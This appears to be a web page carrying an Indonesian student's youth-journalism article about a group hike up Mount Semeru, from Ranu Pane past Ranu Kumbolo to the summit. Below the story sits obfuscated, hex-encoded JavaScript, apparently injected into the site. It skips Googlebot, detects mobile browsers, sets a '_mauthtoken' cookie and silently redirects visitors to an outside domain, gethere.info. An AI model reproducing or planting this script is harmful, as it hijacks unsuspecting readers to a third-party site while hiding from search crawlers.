Artikel Youth Journalism Oleh: Adib Hafizh – SMA PGRI 1 Lumajang

Hafizh dan teman-teman berpose dalam pendakian
Hafizh dan teman-teman berpose dalam pendakian

Pagi-pagi sekali saya dan rombongan teman-teman saya berangkat dari Lumajang, menuju ke Kecamatan Senduro (jalan lain selain lewat Tumpang – Malang) untuk menempuh perjalanan ke Ranu Pane. Di sana kami sampai pada siang hari. Bukan main keadaan di sana sangat ramai oleh para pendaki yang ingin menemukan keindahan yang mereka lihat atau baca dari buku atau film “5cm”. Memang Semeru semakin ramai semenjak film dan novel “5cm” meledak di pasaran . Kembali ke cerita,saya dan 6 orang teman saya akhirnya beristirahat di Ranu pane dan mengantri untuk mendaftar atau checking untuk pendakian. Tibalah pukul 15.00 kami akhirnya mulai mendaki menuju ke Ranu Kumbolo, namun karena salah perhitungan waktu kami hanya sampai di pos 1 menjelang malam.

Kami pun memutuskan untuk berkemah 1 malam dan melanjutkan perjalanan esok paginya. Ke-esokan harinya kami melanjutkan perjalanan menuju Ranu Kumbolo. Pos 2 kami lewati, hingga akhirnya kami tiba di pos 3 dan beristirahatsejenak. Setelah beristirahat sejenak, kamipun terkejut karena melihat tanjakan untuk meneruskan perjalanan kami ke pos 4. Setelah habis-habisan dan ngos-ngosan melewati tanjakan itu, kamipun memberi nama tanjakan tersebut sebagai “tanjakan mbangkeli” (tanjakan menyebalkan). setelah melewati tanjakan tersebut kami meneruskan perjalanan. Sebelum tiba di pos 4 kita akan melihat salah satu dari rahasia-rahasia Mahameru, yaitu keindahan Ranu kumbolo dari atas. Setibanya di pos 4 perasaan senang dan banggamenghilangkan semua rasa capek yang kami rasakan. Akhirnya dengan penuh semangat kami pun turun menuju ke ranu kumbolo. Setelah sampai disana, kami memasang tenda lalu beristirat. Dalam pikiran kami ternyata yang namanya Ranu Kumbolo itu gak begitu indah, namun karna perjuangan menempuh tempat ini selama 8,5 jam yang membuatnya indah. Kami pun beristirahat kembali dan berkemah semalam di Ranu Kumbolo. Ke-esokan paginya kamu terbangun karena suara ramai-ramai dari para rombongan yg berjumlah sekitar 50 orang. Mereka sedang bersiap2 untuk mendaki ke
puncak Mahameru. Dengan tidak mengambil resiko kami pun ikut (numpang) dalam rombngan tersebut. Dengan menempuh 6 jam perjalanan untuk mencapai puncak, kami melewati Kalimati dan Arcopodo hingga akhirnya kami harus menghadapi batuan yang terjal menuju puncak. Setelah beberapa lama akhirnya kami sampai di puncak Semeru. Di sana bendera yg berkibar terlihat sangat jelas. Yaah, Inilah Indonesia-ku berdiri tegak di puncak gunung tertinggi Pulau Jawa. Dalam pikirku pun berkata “inilah secret of mahameru,keindahan yang di dapatkan dari kerja keras”. Terimakasih Mahameru . Satu lagi rahasia saat mendaki Mahameru, kamu tidak akan pernah berhenti menyapa para pendaki lainnya.

samudra awan di Mahameru
source:nadirawinaputri tumblr

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

keyboard_arrow_up